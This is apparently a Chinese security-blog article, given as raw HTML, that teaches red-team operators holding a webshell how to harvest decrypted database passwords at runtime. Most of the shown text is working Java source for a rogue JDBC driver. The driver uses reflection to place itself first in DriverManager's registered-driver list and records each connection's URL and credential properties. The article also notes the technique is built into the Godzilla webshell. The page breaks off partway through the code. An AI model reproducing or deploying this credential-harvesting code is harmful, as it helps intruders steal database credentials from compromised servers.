1.8;letter-spacing: 1px;padding: 0px 10px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">在红队行动中经常会遇到拿到Webshell后找不到数据库密码存放位置或者是数据库密码被加密的情况(需要逆向代码查找解密逻辑)。</p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">在此提出两种在从运行时获取所有的数据库连接信息(密码)的方式</p></section></section><section style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><br style="box-sizing: border-box;"/></p></section></section><section style="display: inline-block;vertical-align: bottom;width: 10px;box-shadow: rgb(0, 0, 0) 0px 0px 0px;align-self: flex-end;flex: 0 0 auto;height: auto;box-sizing: border-box;"><section style="text-align: left;justify-content: flex-start;transform: translate3d(-10px, 0px, 0px);-webkit-transform: translate3d(-10px, 0px, 0px);-moz-transform: translate3d(-10px, 0px, 0px);-o-transform: translate3d(-10px, 0px, 0px);box-sizing: border-box;"><section style="display: inline-block;width: 20px;height: 54px;vertical-align: top;overflow: hidden;background-position: 50% 50%;background-repeat: no-repeat;background-size: cover;background-attachment: scroll;box-shadow: rgb(0, 0, 0) 0px 0px 0px;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/ibdUyJNn0P58WibebnNMJ1F0tyeFuGibrJS6J4p7SHod1pjkOkSJ0J15Vs6u38k63DgGAesVKJTDbY24WoKiaZV8icw/640?wx_fmt=png&#34;);box-sizing: border-box;"><section><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section></section></section><section style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><br style="box-sizing: border-box;"/></p></section><section style="text-align: center;margin-top: 10px;margin-bottom: 10px;box-sizing: border-box;"><section style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 50%;height: auto;box-sizing: border-box;"><img class="rich_pages wxw-img" data-ratio="0.1794298" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-type="gif" data-w="1789" src="https://wechat2rss.xlab.app/img-proxy/?k=b802718f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FibdUyJNn0P58WibebnNMJ1F0tyeFuGibrJSZY3SvVWJU9SAGibSIF39MnUmxvXGY7PTsLEpTYrpKYicchIK20Viaf5qA%2F640%3Fwx_fmt%3Dgif"/></section></section><section style="text-align: center;box-sizing: border-box;"><section style="display: inline-block;width: 200px;height: 68px;vertical-align: top;overflow: hidden;background-position: 50% 50%;background-repeat: no-repeat;background-size: cover;background-attachment: scroll;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_gif/ibdUyJNn0P58WibebnNMJ1F0tyeFuGibrJS2Z2E1UjfdHFnXtVr1CLvHvfyS8l45cA8GlyfRJ7wQSqpFph2iaib4aeg/640?wx_fmt=gif&#34;);box-sizing: border-box;"><section style="margin: 20px 0% 10px;box-sizing: border-box;"><section style="color: rgb(255, 230, 231);text-shadow: rgb(245, 149, 152) 1px -1px, rgb(245, 149, 152) 1px 1px, rgb(245, 149, 152) -1px 1px, rgb(245, 149, 152) -1px -1px, rgb(245, 149, 152) 1px 0px, rgb(245, 149, 152) 0px 1px, rgb(245, 149, 152) -1px 0px, rgb(245, 149, 152) 0px -1px;letter-spacing: 4px;line-height: 1.8;padding: 0px;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;">实现效果<br style="box-sizing: border-box;"/></strong></p></section></section></section></section><section style="box-sizing: border-box;"><section style="display: flex;flex-flow: row nowrap;text-align: center;justify-content: center;margin: 10px 0% 20px;box-sizing: border-box;"><section style="display: inline-block;vertical-align: top;width: 10px;box-shadow: rgb(0, 0, 0) 0px 0px 0px;flex: 0 0 auto;height: auto;z-index: 1;box-sizing: border-box;"><section style="box-sizing: border-box;"><section style="display: inline-block;width: 20px;height: 54px;vertical-align: top;overflow: hidden;background-position: 50% 50%;background-repeat: no-repeat;background-size: cover;background-attachment: scroll;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/ibdUyJNn0P58WibebnNMJ1F0tyeFuGibrJS6J4p7SHod1pjkOkSJ0J15Vs6u38k63DgGAesVKJTDbY24WoKiaZV8icw/640?wx_fmt=png&#34;);box-sizing: border-box;"><section><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section><section style="display: inline-block;vertical-align: top;width: 95%;border-style: solid;border-width: 2px;border-radius: 10px;border-color: rgb(245, 149, 152);flex: 0 0 auto;align-self: flex-start;height: auto;box-shadow: rgb(201, 233, 236) 6px 6px 0px;background-color: rgb(255, 230, 231);overflow: hidden;box-sizing: border-box;"><section style="margin: 18px 0% 0px;box-sizing: border-box;"><section style="font-size: 12px;text-align: justify;font-family: Optima-Regular, PingFangTC-light;line-height: 1.8;letter-spacing: 1px;padding: 0px 10px;box-sizing: border-box;"><p style="text-align: center;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span style="font-size: 14px;box-sizing: border-box;">实现效果</span></strong></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">服务端数据库加密Demo</p></section></section><section style="margin-top: 10px;margin-bottom: 10px;box-sizing: border-box;"><section style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 95%;height: auto;box-sizing: border-box;"><img class="rich_pages wxw-img" data-ratio="0.7990338" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-type="png" data-w="1035" src="https://wechat2rss.xlab.app/img-proxy/?k=a91de02c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P58WibebnNMJ1F0tyeFuGibrJSiaEibqE81UIANFfruLqwEaZAqRVicI51RAId7zeRkOWibgPK1DRtuAmbQw%2F640%3Fwx_fmt%3Dpng"/></section></section><section style="margin: 18px 0% 0px;box-sizing: border-box;"><section style="font-size: 12px;text-align: justify;font-family: Optima-Regular, PingFangTC-light;line-height: 1.8;letter-spacing: 1px;padding: 0px 10px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">成功获取到解密后的数据库密码  插件已经集成到哥斯拉<a href="https://github.com/BeichenDream/Godzilla/releases/" target="_blank">https://github.com/BeichenDream/Godzilla/releases/</a><br style="box-sizing: border-box;"/></p></section></section><section style="margin-top: 10px;margin-bottom: 10px;box-sizing: border-box;"><section style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 95%;height: auto;box-sizing: border-box;"><img class="rich_pages wxw-img" data-ratio="0.4027778" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=f6190cb3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P58WibebnNMJ1F0tyeFuGibrJS6zPtDv1Vb846TmDSuWHsnZWo5GTBkWbSEAPwGGmK9ic5K2SJ2UeW8KA%2F640%3Fwx_fmt%3Dpng"/></section></section><section style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><br style="box-sizing: border-box;"/></p></section></section><section style="display: inline-block;vertical-align: bottom;width: 10px;box-shadow: rgb(0, 0, 0) 0px 0px 0px;align-self: flex-end;flex: 0 0 auto;height: auto;box-sizing: border-box;"><section style="text-align: left;justify-content: flex-start;transform: translate3d(-10px, 0px, 0px);-webkit-transform: translate3d(-10px, 0px, 0px);-moz-transform: translate3d(-10px, 0px, 0px);-o-transform: translate3d(-10px, 0px, 0px);box-sizing: border-box;"><section style="display: inline-block;width: 20px;height: 54px;vertical-align: top;overflow: hidden;background-position: 50% 50%;background-repeat: no-repeat;background-size: cover;background-attachment: scroll;box-shadow: rgb(0, 0, 0) 0px 0px 0px;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/ibdUyJNn0P58WibebnNMJ1F0tyeFuGibrJS6J4p7SHod1pjkOkSJ0J15Vs6u38k63DgGAesVKJTDbY24WoKiaZV8icw/640?wx_fmt=png&#34;);box-sizing: border-box;"><section><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section></section></section><section style="text-align: center;margin-top: 10px;margin-bottom: 10px;box-sizing: border-box;"><section style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 50%;height: auto;box-sizing: border-box;"><img class="rich_pages wxw-img" data-ratio="0.1794298" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-type="gif" data-w="1789" src="https://wechat2rss.xlab.app/img-proxy/?k=b802718f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FibdUyJNn0P58WibebnNMJ1F0tyeFuGibrJSZY3SvVWJU9SAGibSIF39MnUmxvXGY7PTsLEpTYrpKYicchIK20Viaf5qA%2F640%3Fwx_fmt%3Dgif"/></section></section><section style="text-align: center;box-sizing: border-box;"><section style="display: inline-block;width: 200px;height: 68px;vertical-align: top;overflow: hidden;background-position: 50% 50%;background-repeat: no-repeat;background-size: cover;background-attachment: scroll;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_gif/ibdUyJNn0P58WibebnNMJ1F0tyeFuGibrJS2Z2E1UjfdHFnXtVr1CLvHvfyS8l45cA8GlyfRJ7wQSqpFph2iaib4aeg/640?wx_fmt=gif&#34;);box-sizing: border-box;"><section style="margin: 20px 0% 10px;box-sizing: border-box;"><section style="color: rgb(255, 230, 231);text-shadow: rgb(245, 149, 152) 1px -1px, rgb(245, 149, 152) 1px 1px, rgb(245, 149, 152) -1px 1px, rgb(245, 149, 152) -1px -1px, rgb(245, 149, 152) 1px 0px, rgb(245, 149, 152) 0px 1px, rgb(245, 149, 152) -1px 0px, rgb(245, 149, 152) 0px -1px;letter-spacing: 4px;line-height: 1.8;padding: 0px;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;">实现原理<br style="box-sizing: border-box;"/></strong></p></section></section></section></section><section style="box-sizing: border-box;"><section style="display: flex;flex-flow: row nowrap;text-align: center;justify-content: center;margin: 10px 0% 20px;box-sizing: border-box;"><section style="display: inline-block;vertical-align: top;width: 10px;box-shadow: rgb(0, 0, 0) 0px 0px 0px;flex: 0 0 auto;height: auto;z-index: 1;box-sizing: border-box;"><section style="box-sizing: border-box;"><section style="display: inline-block;width: 20px;height: 54px;vertical-align: top;overflow: hidden;background-position: 50% 50%;background-repeat: no-repeat;background-size: cover;background-attachment: scroll;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/ibdUyJNn0P58WibebnNMJ1F0tyeFuGibrJS6J4p7SHod1pjkOkSJ0J15Vs6u38k63DgGAesVKJTDbY24WoKiaZV8icw/640?wx_fmt=png&#34;);box-sizing: border-box;"><section><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section><section style="display: inline-block;vertical-align: top;width: 95%;border-style: solid;border-width: 2px;border-radius: 10px;border-color: rgb(245, 149, 152);flex: 0 0 auto;align-self: flex-start;height: auto;box-shadow: rgb(201, 233, 236) 6px 6px 0px;background-color: rgb(255, 230, 231);overflow: hidden;box-sizing: border-box;"><section style="margin: 18px 0% 0px;box-sizing: border-box;"><section style="font-size: 12px;text-align: justify;font-family: Optima-Regular, PingFangTC-light;line-height: 1.8;letter-spacing: 1px;padding: 0px 10px;box-sizing: border-box;"><p style="text-align: center;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span style="font-size: 14px;box-sizing: border-box;">实现原理(一)<br style="box-sizing: border-box;"/></span></strong></p></section></section><section style="margin: 18px 0% 0px;box-sizing: border-box;"><section style="font-size: 12px;text-align: justify;font-family: Optima-Regular, PingFangTC-light;line-height: 1.8;letter-spacing: 1px;padding: 0px 10px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">第一般不使用数据库连接池情况下 我们通常使用Java的工厂类DriverManager获取数据库连接</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">DriverManager</span><span class="code-snippet__selector-class">.getConnection</span>(<span class="code-snippet__selector-tag">DB_URL</span>,<span class="code-snippet__selector-tag">userName</span>,<span class="code-snippet__selector-tag">aes</span>(<span class="code-snippet__selector-tag">password</span>));</span></code></pre></section><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">跟进逻辑<br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer">   <span class="code-snippet__meta">@CallerSensitive</span>    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> Connection getConnection(<span class="code-snippet__built_in">String</span> url,<span class="code-snippet__built_in">String</span> user, <span class="code-snippet__built_in">String</span> password)              <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> Connection getConnection(<span class="code-snippet__built_in">String</span> url, java.util.Properties info, Class caller)</span></code></pre></section></section></section><section style="margin-top: 10px;margin-bottom: 10px;box-sizing: border-box;"><section style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 95%;height: auto;box-sizing: border-box;"><img class="rich_pages wxw-img" data-ratio="0.935518" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-type="png" data-w="946" src="https://wechat2rss.xlab.app/img-proxy/?k=2055aa8b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P58WibebnNMJ1F0tyeFuGibrJS7TpvG1yQkg73eb1Gr13gKFiaTOmHJVI2uRnuyT6ibGTJheicdFElL2wIQ%2F640%3Fwx_fmt%3Dpng"/></section></section><section style="margin-top: 10px;margin-bottom: 10px;box-sizing: border-box;"><section style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 95%;height: auto;box-sizing: border-box;"><img class="rich_pages wxw-img" data-ratio="0.3166844" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-type="png" data-w="941" src="https://wechat2rss.xlab.app/img-proxy/?k=79e3f1cd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P58WibebnNMJ1F0tyeFuGibrJS62nJacPmkZDdjCWOkjk5FgiaTs2XIxCNmS9EWmVY8gSO5FCdbLicBfqg%2F640%3Fwx_fmt%3Dpng"/></section></section><section style="margin: 18px 0% 0px;box-sizing: border-box;"><section style="font-size: 12px;text-align: justify;font-family: Optima-Regular, PingFangTC-light;line-height: 1.8;letter-spacing: 1px;padding: 0px 10px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">从getConnection的具体实现逻辑来看 主要是从静态变量registeredDrivers变量遍历所有已经注册的数据库驱动并调用数据库驱动的connect方法获取数据库连接 如果数据库驱动返回NULL或抛出异常则再次循环 如果数据库驱动返回Connection则退出循环返回数据库连接</p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">这个时候我们就可以想到假如我们自己注册一个数据库驱动上去是不是就能获取到数据库密码了</p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">实现代码如下</p><p><span style="font-size: 14px;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">package</span> sqlDriver;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.lang.reflect.Field;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.lang.reflect.Method;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.sql.Connection;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.sql.Driver;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.sql.DriverManager;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.sql.DriverPropertyInfo;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.sql.SQLException;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.Enumeration;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.HashMap;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.Iterator;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.List;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.Properties;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.logging.Logger;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">CustomDriver</span> <span class="code-snippet__title">implements</span> <span class="code-snippet__title">Driver</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> static HashMap dbConnMap=new HashMap();</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> static <span class="code-snippet__keyword">final</span> CustomDriver DRIVER;</span></code><code><span class="code-snippet_outer">    static {</span></code><code><span class="code-snippet_outer">        DRIVER=new CustomDriver();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            Field[] fields=java.sql.DriverManager.<span class="code-snippet__keyword">class</span>.getDeclaredFields();</span></code><code><span class="code-snippet_outer">            Field field=<span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">for</span> (int i = <span class="code-snippet__number">0</span>; i &lt; fields.length; i++) {</span></code><code><span class="code-snippet_outer">                field=fields[i];</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (field.getName().indexOf(<span class="code-snippet__string">&#34;rivers&#34;</span>)!=-<span class="code-snippet__number">1</span>&amp;&amp;List.<span class="code-snippet__keyword">class</span>.isAssignableFrom(field.getType())) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">break</span>;</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">                field=<span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (field!=<span class="code-snippet__literal">null</span>&amp;&amp;List.<span class="code-snippet__keyword">class</span>.isAssignableFrom(field.getType())) {</span></code><code><span class="code-snippet_outer">                field.setAccessible(<span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">                DriverManager.registerDriver(DRIVER);</span></code><code><span class="code-snippet_outer">                List drivers=(List) field.<span class="code-snippet__keyword">get</span>(<span class="code-snippet__literal">null</span>);</span></code><code><span class="code-snippet_outer">                int lastIndex=drivers.size()-<span class="code-snippet__number">1</span>;</span></code><code><span class="code-snippet_outer">                Object firstObject=drivers.<span class="code-snippet__keyword">get</span>(<span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer">                Object lastObject=drivers.<span class="code-snippet__keyword">get</span>(lastIndex);</span></code><code><span class="code-snippet_outer">                drivers.<span class="code-snippet__keyword">set</span>(<span class="code-snippet__number">0</span>, lastObject);</span></code><code><span class="code-snippet_outer">                drivers.<span class="code-snippet__keyword">set</span>(lastIndex, firstObject);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">           </span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (Exception e) {</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">   </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> boolean eq(String url,String properties) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (dbConnMap.containsKey(url)) {</span></code><code><span class="code-snippet_outer">            String valueProperties=(String) dbConnMap.<span class="code-snippet__keyword">get</span>(url);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (valueProperties.indexOf(properties)!=-<span class="code-snippet__number">1</span>) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">true</span>;</span></code><code><span class="code-snippet_outer">            }<span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (valueProperties.length()&gt;<span class="code-snippet__number">2000</span>) {</span></code><code><span class="code-snippet_outer">                    valueProperties=<span class="code-snippet__string">&#34;&#34;</span>;</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">                dbConnMap.put(url, valueProperties+<span class="code-snippet__string">&#34;\t&#34;</span>+properties);</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">true</span>;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">false</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">   </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> void add(String url, Properties info) {</span></code><code><span class="code-snippet_outer">        String propertiesString=info.toString();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (dbConnMap.size()&gt;<span class="code-snippet__number">200</span>) {</span></code><code><span class="code-snippet_outer">                dbConnMap.clear();</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (!eq(url, propertiesString)) {</span></code><code><span class="code-snippet_outer">                dbConnMap.put(url, propertiesString);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (Exception e) {</span></code><code><span class="code-snippet_outer">           </span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">   </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> static String getAllConn() {</span></code><code><span class="code-snippet_outer">        Iterator it=dbConnMap.keySet().iterator();</span></code><code><span class="code-snippet_outer">        StringBuilder builder=new StringBuilder();</span></code><code><span class="code-snippet_outer">        builder.append(<span class="code-snippet__string">&#34;drivers-&gt;\n&#34;</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            Field[] fields=java.sql.DriverManager.<span class="code-snippet__keyword">class</span>.getDeclaredFields();</span></code><code><span class="code-snippet_outer">            Field field=<span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">for</span> (int i = <span class="code-snippet__number">0</span>; i &lt; fields.length; i++) {</span></code><code><span class="code-snippet_outer">                field=fields[i];</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (field.getName().indexOf(<span class="code-snippet__string">&#34;rivers&#34;</span>)!=-<span class="code-snippet__number">1</span>&amp;&amp;List.<span class="code-snippet__keyword">class</span>.isAssignableFrom(field.getType())) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">break</span>;</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">                field=<span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (field!=<span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">                field.setAccessible(<span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">                List drivers=(List) field.<span class="code-snippet__keyword">get</span>(<span class="code-snippet__literal">null</span>);</span></code><code><span class="code-snippet_outer">                Iterator iterator=drivers.iterator();</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">while</span> (iterator.hasNext()) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                        Object <span class="code-snippet__keyword">object</span>= iterator.next();</span></code><code><span class="code-snippet_outer">                        Driver driver=<span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">if</span> (!Driver.<span class="code-snippet__keyword">class</span>.isAssignableFrom(<span class="code-snippet__keyword">object</span>.getClass())) {</span></code><code><span class="code-snippet_outer">                            Field[] driverInfos=<span class="code-snippet__keyword">object</span>.getClass().getDeclaredFields();</span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__keyword">for</span> (int i = <span class="code-snippet__number">0</span>; i &lt; driverInfos.length; i++) {</span></code><code><span class="code-snippet_outer">                                <span class="code-snippet__keyword">if</span> (Driver.<span class="code-snippet__keyword">class</span>.isAssignableFrom(driverInfos[i].getType())) {</span></code><code><span class="code-snippet_outer">                                    driverInfos[i].setAccessible(<span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">                                    driver=(Driver) driverInfos[i].<span class="code-snippet__keyword">get</span>(<span class="code-snippet__keyword">object</span>);</span></code><code><span class="code-snippet_outer">                                    builder.append(String.format(<span class="code-snippet__string">&#34;\tclass -&gt; %s\tclassLoader -&gt; %s\n&#34;</span>, driver.getClass().getName(),driver.getClass().getClassLoader().toString().replace(<span class="code-snippet__string">&#34;\r&#34;</span>, <span class="code-snippet__string">&#34;&#34;</span>).replace(<span class="code-snippet__string">&#34;\n&#34;</span>, <span class="code-snippet__string">&#34;&#34;</span>)));</span></code><code><span class="code-snippet_outer">                                    <span class="code-snippet__keyword">break</span>;</span></code><code><span class="code-snippet_outer">                                }</span></code><code><span class="code-snippet_outer">                            }</span></code><code><span class="code-snippet_outer">                        }</span></code><code><span class="code-snippet_outer">                    } <span class="code-snippet__keyword">catch</span> (Exception e) {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__comment">// <span class="code-snippet__doctag">TODO:</span> handle exception</span></span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (Exception e) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">// <span class="code-snippet__doctag">TODO:</span> handle exception</span></span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        builder.append(<span class="code-snippet__string">&#34;maps-&gt;\n&#34;</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">while</span> (it.hasNext()) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                String keyString=(String) it.next();</span></code><code><span class="code-snippet_outer">                String properties=(String) dbConnMap.<span class="code-snippet__keyword">get</span>(keyString);</span></code><code><span class="code-snippet_outer">                builder.append(String.format(<span class="code-snippet__string">&#34;\t%s\t%s\n&#34;</span>, keyString,properties));</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">catch</span> (Exception e) {</span></code><code><span class="code-snippet_outer">                builder.append(e.getClass().getName());</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        dbConnMap.clear();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> builder.toString();</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">   </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> boolean acceptsURL(String url) throws SQLException {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// TODO Auto-generated method stub</span></span></code><code><span class="code-snippet_outer">        <span 